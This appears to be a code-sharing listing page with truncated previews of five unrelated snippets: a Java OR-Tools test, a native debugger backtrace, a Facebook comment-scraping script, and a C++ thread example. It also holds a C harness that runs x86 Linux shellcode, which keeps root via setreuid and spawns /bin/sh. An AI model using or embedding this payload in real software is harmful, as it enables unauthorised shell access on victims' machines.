This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.betterment.linearprogramming.google; | |
import org.junit.Test; | |
import com.google.ortools.linearsolver.MPConstraint; | |
import com.google.ortools.linearsolver.MPObjective; | |
import com.google.ortools.linearsolver.MPSolver; | |
import com.google.ortools.linearsolver.MPVariable; | |
public class SimpleGoogleSolverTest { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
thread #21: tid = 0x0014, 0x0000000118ed5f97 libjniortools-3300.jnilib`CbcMain1(int, char const**, CbcModel&, int (*)(CbcModel*, int), CbcSolverUsefulData&) + 23, stop reason = signal SIGSTOP | |
frame #0: 0x0000000118ed5f97 libjniortools-3300.jnilib`CbcMain1(int, char const**, CbcModel&, int (*)(CbcModel*, int), CbcSolverUsefulData&) + 23 | |
frame #1: 0x0000000118ed5906 libjniortools-3300.jnilib`callCbc1(char const*, CbcModel&, int (*)(CbcModel*, int), CbcSolverUsefulData&) + 1190 | |
frame #2: 0x0000000118ed36d1 libjniortools-3300.jnilib`callCbc(char const*, CbcModel&) + 81 | |
frame #3: 0x0000000118dcd7c4 libjniortools-3300.jnilib`operations_research::CBCInterface::Solve(operations_research::MPSolverParameters const&) + 1652 | |
frame #4: 0x0000000118dd41ec libjniortools-3300.jnilib`operations_research::MPSolver::Solve(operations_research::MPSolverParameters const&) + 76 | |
frame #5: 0x0000000118dd2c7a libjniortools-3300.jnilib`operations_research::MPSolver::Solve() + 74 | |
frame #6: 0x000000010c486758 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function printObject(o) { | |
var out = ''; | |
for (var p in o) { | |
out += p + ': ' + o[p] + '\n'; | |
} | |
alert(out); | |
} | |
var content = document.getElementById('contentArea'); | |
var result = document.evaluate("//div[@class='commentContent UIImageBlock_Content UIImageBlock_SMALL_Content']", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ | |
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ | |
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ | |
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ | |
"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"; | |
int main(int argc, char **argv) | |
{ | |
int (*func)(); | |
func = (int (*)()) code; | |
(int)(*func)(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "thread.h" | |
#include "interrupt.h" | |
#include <iostream> | |
using namespace std; | |
void thread2(void *arg) | |
{ | |
char *lotsa_memory = new char[STACK_SIZE * 1000]; |